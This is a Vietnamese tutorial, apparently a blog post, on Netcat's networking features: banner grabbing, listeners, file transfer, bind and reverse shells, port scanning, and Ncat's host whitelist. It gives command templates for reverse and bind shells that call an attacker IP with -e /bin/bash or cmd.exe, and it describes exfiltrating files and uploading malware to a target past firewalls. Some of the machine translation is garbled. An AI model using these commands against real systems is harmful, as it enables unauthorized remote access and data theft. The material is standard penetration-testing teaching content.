Các tính năng tuyệt vời của Netcat, bao gồm:
– Connecting to servers qua TCP và UDP + Banner Grabbing
– Listening as a server
– File transfers
– Remote shells (Bind & Reverse)
– Port scanning với các tùy chọn và phần mở rộng của bash
Ở phần cuối, chúng ta sẽ xem xét một tính năng bảo mật của Ncat , người anh em họ được cải tiến của Netcat.
Kết nối với máy chủ (TCP / UDP)
Cú pháp: nc -nv [ u ] < target-ip> <port>
Kết nối với máy chủ là một quá trình khá đơn giản. Bạn sử dụng tùy chọn -nv để tắt độ phân giải DNS ( -n ) và yêu cầu Netcat in ra thông tin chi tiết ( -v ).
Nhìn vào “thông tin chi tiết”, chúng ta có thể thấy rằng Netcat in trạng thái của cổng ngay trước biểu ngữ máy chủ ( mở / Kết nối bị từ chối ). Nhìn vào đầu ra này, chúng ta có thể hình dung Netcat có thể xác định một cổng đang mở từ một cổng đóng, từ đó có thể thực hiện quét cổng. Điều này được đề cập đầy đủ trong phần Quét cổng bên dưới.
Ngoài ra, chúng ta có thể thấy rằng khi chúng ta đã kết nối với dịch vụ (dù có -v hay không), dịch vụ sẽ trả về một biểu ngữ – SSH-2.0-OpenSSH_7.9p1 Debian-5 – đây là một nguồn thông tin tuyệt vời về dịch vụ và máy chủ chính nó
Nó cho chúng ta biết loại và phiên bản cụ thể của SSH đang chạy và nền tảng hệ điều hành của máy chủ. Quá trình trích xuất thông tin có giá trị về mục tiêu được đặt tên khéo léo là lấy biểu ngữ .
Chúng ta cũng hãy xem xét kết nối với cổng UDP, có thể được thực hiện bằng cách đánh dấu “ u ” ở cuối các tùy chọn.
Chúng ta có thể thấy rằng kết nối với cổng UDP hoạt động rất giống với kết nối với cổng TCP.
Ngoài ra, trong hình ảnh, chúng ta có thể thấy hai lệnh Netcat, một lệnh có và một lệnh không có tùy chọn -n . Chúng ta có thể thấy ảnh hưởng của các hạn chế phân giải DNS của tùy chọn -n bằng cách so sánh “ (UNKNOWN) ” với “ localhost ”. Khi cho phép phân giải DNS, địa chỉ IP số 127.0.0.1 sẽ được phân giải thành localhost.
Nghe như một máy chủ
Cú pháp: nc -nvlp <port>
Với Netcat, nghe trên một cổng chỉ đơn giản như chạy một lệnh ngắn với các tùy chọn -l và -p của Netcat , để nghe trên tất cả các giao diện trên một cổng cục bộ cụ thể. Điều này cho phép thiết lập truyền tệp nhanh chóng và trình nghe trình bao, như bạn sẽ thấy trong các phần sau. Bạn có thể tùy chọn sử dụng tùy chọn -v để hiển thị Netcat đầu ra dài dòng (“ đang nghe trên [bất kỳ] <port> … ”) và in thông báo khi máy chủ kết nối với máy chủ đó.
Đầu vào văn bản từ máy chủ được gửi đến máy khách và máy khách đến máy chủ, cho phép diễn ra trao đổi văn bản đơn giản. Làm cách nào chúng ta có thể sử dụng tính năng chuyển văn bản hai chiều cho một trường hợp hữu ích hơn? Một tình huống tôi sử dụng điều này là khi một người bạn bên cạnh tôi muốn gửi một liên kết HTTPS dài cho tôi, nhưng việc sử dụng email là một việc phiền phức và thậm chí có thể mất khá nhiều thời gian trước khi nó đến hộp thư đến của tôi. Tôi yêu cầu họ mở Terminal và kết nối với trình nghe Netcat của tôi để họ có thể sao chép liên kết và tôi có thể nhận được. Công việc hoàn thành!
Truyền tệp
Cú pháp: nc -nvlp <port> << file> (attacker)
nc -nv <attacker-ip> <port >> <out-file> (target)
Việc truyền tệp để tách dữ liệu từ đích hoặc tải các công cụ lên đích có thể được thực hiện một cách đơn giản với Netcat. Sử dụng các lệnh được đề cập trong hai phần trên, chúng ta có thể tạo kết nối máy chủ-máy khách cơ bản và truyền tệp.
Ở phía bên phải, máy của kẻ tấn công đã thiết lập một trình lắng nghe và đã chuyển hướng tệp malware.exe đến nó. Điều này có nghĩa là bất kỳ máy chủ lưu trữ nào kết nối với cổng 9999 của máy tấn công đều có thể tải xuống tệp đó.
Ở phía bên trái, máy mục tiêu đang kết nối với trình lắng nghe của kẻ tấn công và đang chuyển hướng đầu ra đến một tệp có tên độc hại-accept.exe.
Việc thiết lập mục tiêu kết nối trở lại máy chủ này cho phép tránh tường lửa, vì tường lửa thường có ít hạn chế hơn đối với các kết nối gửi đi.
Để lọc tệp, chỉ cần chuyển các bộ chuyển hướng đầu ra ( “<” , “>” ).
Một vấn đề với quá trình truyền tệp bằng Netcat là không có “thanh tiến trình” để kiểm tra tiến trình chuyển tệp và không có cách nào cho biết khi nào quá trình chuyển đã hoàn tất. Có một vấn đề nhỏ nhất nếu tệp đang được chuyển nhỏ, vì nó sẽ chỉ mất một phần giây, nhưng nếu tệp lớn, có thể mất một khoảng thời gian trước khi quá trình chuyển hoàn tất. Nếu chúng tôi vô tình sử dụng ^ C để dừng kết nối trong quá trình truyền, tệp sẽ không được tải xuống đúng cách. Cách giảm thiểu duy nhất là đợi một khoảng thời gian thích hợp trước khi chấm dứt kết nối.
Vỏ từ xa (Bind / Reverse)
Cú pháp: nc -nvlp <port> -e { / bin / bash | cmd.exe } (bind)
nc -nv <attacker-ip> <port> -e { / bin / bash | cmd.exe } (đảo ngược)
Đây là tính năng thú vị nhất của Netcat – lấy đạn từ xa từ mục tiêu. Các trình bao từ xa có thể được phân thành hai loại chính: liên kết và đảo ngược (hay còn gọi là kết nối trở lại).
Bind shell có người nghe đang chạy trên mục tiêu và kẻ tấn công kết nối với người nghe để có được một vỏ từ xa.
Đạn đảo ngược có trình nghe đang chạy trên kẻ tấn công và mục tiêu kết nối với kẻ tấn công bằng một quả đạn.
Ở phía bên trái, mục tiêu Linux có một trình lắng nghe cho phép bất kỳ máy chủ lưu trữ nào kết nối với cổng 9999 có được một trình bao từ xa. Ở phía bên phải, kẻ tấn công đã kết nối với máy chủ mục tiêu, có được một trình bao từ xa bằng cách sử dụng / bin / bash và có thể chạy các lệnh như thể chúng có quyền truy cập cục bộ vào mục tiêu.
Tuy nhiên, có một vấn đề bảo mật với các trình bao liên kết của Netcat và đó là thực tế là bất kỳ ai cũng có thể kết nối với trình bao liên kết và chạy các lệnh. Một tác nhân độc hại có thể lợi dụng điều này một cách dễ dàng. Để cứu chúng tôi là Ncat, có giải pháp cho vấn đề này (được đề cập trong phần Ncat bên dưới).
Các shell đảo ngược của Netcat cho phép kẻ tấn công thiết lập một trình lắng nghe Netcat thông thường (phía bên phải) và yêu cầu mục tiêu từ xa gửi một trình bao ngược lại cho chúng tôi. Cũng giống như trình bao ràng buộc của chúng tôi trước đây, chúng tôi có thể chạy các lệnh cục bộ từ kẻ tấn công.
Reverse shell thường tốt hơn bind shell vì nhiều lý do và bạn có thể đọc chi tiết hơn về điều đó trong bài đăng khác của tôi .
Quét cổng
Cú pháp: nc -nv [ u ] -w 1 -z < target-ip> <port range>
Các công cụ ưa thích như Nmap không phải là cách duy nhất để quét các cổng, vì chúng ta có thể đạt được điều tương tự với Netcat (mặc dù nó có hiệu suất thấp hơn).
Hãy xem xét từng tham số trong lệnh:
-nv [ u ]: hạn chế độ phân giải DNS, in đầu ra dài dòng (nếu không, chúng tôi sẽ không nhận được đầu ra nào từ quá trình quét cổng) và tùy chọn chỉ định UDP
-w 1 : đặt thời gian chờ của kết nối đến 1 giây, cho phép Netcat nhanh chóng bỏ qua các cổng đã đóng không phản hồi trong 1 giây
-z : chỉ định quét cổng
Netcat Port Sweep Bash Extension
Chúng tôi có thể kết hợp Netcat với một Bash Script đơn giản để cho phép chúng tôi cung cấp một tệp chứa danh sách địa chỉ IP làm đầu vào và thực hiện quét cổng trên từng máy chủ được liệt kê. Chúng tôi đang “quét” một cách hiệu quả phạm vi máy chủ cho một số cổng nhất định.
Cách sử dụng: ./ netcat-port-sweep.sh <targets-file> { TCP | UDP } <port-range>
“Tiện ích mở rộng” đơn giản này cho Netcat sử dụng Bash cho phép quét TCP / UDP danh sách các máy chủ. Và ai lại không yêu thích Bash?
Ncat – Giải pháp cho các vấn đề của Netcat
Nmap có một phiên bản cải tiến của Netcat được gọi là Ncat , hỗ trợ nhiều cú pháp giống như Netcat (bao gồm ncat -nvlp , ncat -nv, v.v.), mà họ tuyên bố là “Netcat cho thế kỷ 21”. Hãy xem tại sao lại như vậy, bằng cách khám phá một trong số hàng tá tính năng mà Ncat cung cấp.
Danh sách trắng IP của Ncat Bind Shell
Trước đó, chúng ta đã thảo luận rằng các trình bao ràng buộc có vấn đề bảo mật là bất kỳ ai cũng có thể lấy được trình bao từ xa. Ncat giải quyết vấn đề này bằng tùy chọn “–allow <host (s)> ” , chỉ cho phép một số máy chủ nhất định kết nối với trình bao liên kết.
Việc gửi lệnh từ kẻ tấn công sẽ không trả về kết quả đầu ra và sau đó dẫn đến lỗi Đường ống bị hỏng.